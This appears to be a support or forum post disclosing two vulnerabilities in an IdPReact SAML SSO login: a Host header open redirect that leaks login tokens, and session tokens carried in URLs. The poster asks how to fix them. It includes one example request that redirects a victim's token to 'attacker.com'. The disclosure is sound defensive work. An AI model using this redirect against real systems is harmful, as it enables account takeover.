During vulnerability testing of an application that uses the IdPReact component, we have identified 2 vulnerabilities in the IdP application used for Single Sign-On (SSO) using SAML 2.0:

• Open Redirection via Host Header Injection leads to Account Takeover: an attacker capable of modifying the Host header within the HTTP request sent to the backend can redirect the flow of requests to an arbitrary domain. This vulnerability becomes particularly significant when a request containing the login token is made because it could be intercepted by the attacker and used to compromise the user's session.In particular, a malicious agent can capture the token of the victim user by modifying the Host header and the OriginalURL parameter in the login request, e.g. "/IdPReact/IdPLogin?Token=&OriginalURL=https://attacker.com", Sending the token to the domain "attacker.com"
• Session token in URL: Inserting session tokens into URLs increases the risk of potential attackers gaining possession of these tokens, thereby allowing them to obtain and use a valid session for the application without having access to any credentials.Specifically, the session token is transmitted within the 'Token' parameter in the GET request to /IdPReact/IdPLogin. This could potentially compromise the session if an attacker manages to view the system log of a middleware capable of recording the requests made

Is there a way to address these 2 vulnerabilities?

Thanks in advance for your support and contribution.

Kind Regards,

Gabriele